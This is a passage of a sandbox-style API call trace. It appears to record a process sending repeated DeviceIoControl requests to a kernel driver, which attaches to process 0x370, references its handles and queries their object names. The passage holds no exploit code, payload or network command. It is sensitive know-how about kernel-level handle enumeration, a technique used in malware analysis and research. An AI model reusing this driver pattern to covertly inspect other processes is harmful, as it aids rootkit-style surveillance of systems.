(Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.322] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.322] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.322] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0104.322] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.322] PsAcquireProcessExitSynchronization () returned 0x0 [0104.322] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.322] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003215bb0, HandleInformation=0x0) returned 0x0 [0104.322] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.323] PsReleaseProcessExitSynchronization () returned 0x2 [0104.323] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.323] ObQueryNameString (in: Object=0xfffffa8003215bb0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.323] ObfDereferenceObject (Object=0xfffffa8003215bb0) returned 0x1 [0104.323] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.323] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.323] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.323] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.323] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.323] PsAcquireProcessExitSynchronization () returned 0x0 [0104.323] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.323] ObReferenceObjectByHandle (in: Handle=0x394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032152f0, HandleInformation=0x0) returned 0x0 [0104.323] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.323] PsReleaseProcessExitSynchronization () returned 0x2 [0104.323] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.323] ObQueryNameString (in: Object=0xfffffa80032152f0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.323] ObfDereferenceObject (Object=0xfffffa80032152f0) returned 0x1 [0104.323] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.323] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.323] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.323] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0104.323] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.323] PsAcquireProcessExitSynchronization () returned 0x0 [0104.323] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.323] ObReferenceObjectByHandle (in: Handle=0x448, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003231380, HandleInformation=0x0) returned 0x0 [0104.323] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.323] PsReleaseProcessExitSynchronization () returned 0x2 [0104.323] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.323] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.323] ObfDereferenceObject (Object=0xfffffa8003231380) returned 0x12 [0104.323] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.323] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.323] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.323] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0104.324] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.324] PsAcquireProcessExitSynchronization () returned 0x0 [0104.324] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.324] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f6b070, HandleInformation=0x0) returned 0x0 [0104.324] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.324] PsReleaseProcessExitSynchronization () returned 0x2 [0104.324] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.324] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.324] ObfDereferenceObject (Object=0xfffffa8002f6b070) returned 0x1 [0104.324] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.324] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.324] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.324] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0104.324] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.324] PsAcquireProcessExitSynchronization () returned 0x0 [0104.324] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.324] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f6bbc0, HandleInformation=0x0) returned 0x0 [0104.324] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.324] PsReleaseProcessExitSynchronization () returned 0x2 [0104.324] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.324] ObQueryNameString (in: Object=0xfffffa8002f6bbc0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.324] ObfDereferenceObject (Object=0xfffffa8002f6bbc0) returned 0x1 [0104.324] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.324] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.324] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.324] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.324] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.324] PsAcquireProcessExitSynchronization () returned 0x0 [0104.324] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.324] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f6bf20, HandleInformation=0x0) returned 0x0 [0104.324] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.324] PsReleaseProcessExitSynchronization () returned 0x2 [0104.324] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.324] ObQueryNameString (in: Object=0xfffffa8002f6bf20, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.325] ObfDereferenceObject (Object=0xfffffa8002f6bf20) returned 0x2 [0104.325] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.325] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.325] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.325] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0104.325] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.325] PsAcquireProcessExitSynchronization () returned 0x0 [0104.325] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.325] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f6b920, HandleInformation=0x0) returned 0x0 [0104.325] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.325] PsReleaseProcessExitSynchronization () returned 0x2 [0104.325] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.325] ObQueryNameString (in: Object=0xfffffa8002f6b920, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.325] ObfDereferenceObject (Object=0xfffffa8002f6b920) returned 0x2 [0104.325] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.325] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.325] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.325] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0104.325] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.325] PsAcquireProcessExitSynchronization () returned 0x0 [0104.325] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.325] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f6b7d0, HandleInformation=0x0) returned 0x0 [0104.325] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.325] PsReleaseProcessExitSynchronization () returned 0x2 [0104.325] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.325] ObQueryNameString (in: Object=0xfffffa8002f6b7d0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.325] ObfDereferenceObject (Object=0xfffffa8002f6b7d0) returned 0x1 [0104.325] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.325] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.325] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.325] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.326] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.326] PsAcquireProcessExitSynchronization () returned 0x0 [0104.326] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.326] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800323d070, HandleInformation=0x0) returned 0x0 [0104.326] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.326] PsReleaseProcessExitSynchronization () returned 0x2 [0104.326] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.326] ObQueryNameString (in: Object=0xfffffa800323d070, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.326] ObfDereferenceObject (Object=0xfffffa800323d070) returned 0x2 [0104.326] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.326] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.326] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.326] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.326] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.326] PsAcquireProcessExitSynchronization () returned 0x0 [0104.326] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.326] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800323dc80, HandleInformation=0x0) returned 0x0 [0104.326] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.326] PsReleaseProcessExitSynchronization () returned 0x2 [0104.326] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.326] ObQueryNameString (in: Object=0xfffffa800323dc80, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.326] ObfDereferenceObject (Object=0xfffffa800323dc80) returned 0x2 [0104.326] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.326] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.326] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.326] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0104.326] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.326] PsAcquireProcessExitSynchronization () returned 0x0 [0104.326] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.326] ObReferenceObjectByHandle (in: Handle=0x498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800323ecc0, HandleInformation=0x0) returned 0x0 [0104.326] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.326] PsReleaseProcessExitSynchronization () returned 0x2 [0104.326] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.327] ObQueryNameString (in: Object=0xfffffa800323ecc0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.327] ObfDereferenceObject (Object=0xfffffa800323ecc0) returned 0x2 [0104.327] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.327] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.327] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.327] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.327] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.327] PsAcquireProcessExitSynchronization () returned 0x0 [0104.327] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.327] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f6ea80, HandleInformation=0x0) returned 0x0 [0104.327] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.327] PsReleaseProcessExitSynchronization () returned 0x2 [0104.327] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.327] ObQueryNameString (in: Object=0xfffffa8002f6ea80, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.327] ObfDereferenceObject (Object=0xfffffa8002f6ea80) returned 0x2 [0104.327] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.327] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.327] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.327] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.327] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.327] PsAcquireProcessExitSynchronization () returned 0x0 [0104.327] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.327] ObReferenceObjectByHandle (in: Handle=0x4a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003247a30, HandleInformation=0x0) returned 0x0 [0104.327] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.327] PsReleaseProcessExitSynchronization () returned 0x2 [0104.327] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.327] ObQueryNameString (in: Object=0xfffffa8003247a30, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.327] ObfDereferenceObject (Object=0xfffffa8003247a30) returned 0x2 [0104.327] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.327] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.327] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.327] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.327] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.327] PsAcquireProcessExitSynchronization () returned 0x0 [0104.328] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.328] ObReferenceObjectByHandle (in: Handle=0x4ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80032d1680, HandleInformation=0x0) returned 0x0 [0104.328] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.328] PsReleaseProcessExitSynchronization () returned 0x2 [0104.328] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.328] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.328] ObfDereferenceObject (Object=0xfffffa80032d1680) returned 0x1 [0104.328] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.328] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.328] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.328] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x100, lpOverlapped=0x0) returned 1 [0104.328] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.328] PsAcquireProcessExitSynchronization () returned 0x0 [0104.328] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.328] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00103b620, HandleInformation=0x0) returned 0x0 [0104.328] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.328] PsReleaseProcessExitSynchronization () returned 0x2 [0104.328] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.328] ObQueryNameString (in: Object=0xfffff8a00103b620, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.328] ObfDereferenceObject (Object=0xfffff8a00103b620) returned 0x2 [0104.328] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.328] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.328] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.328] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, 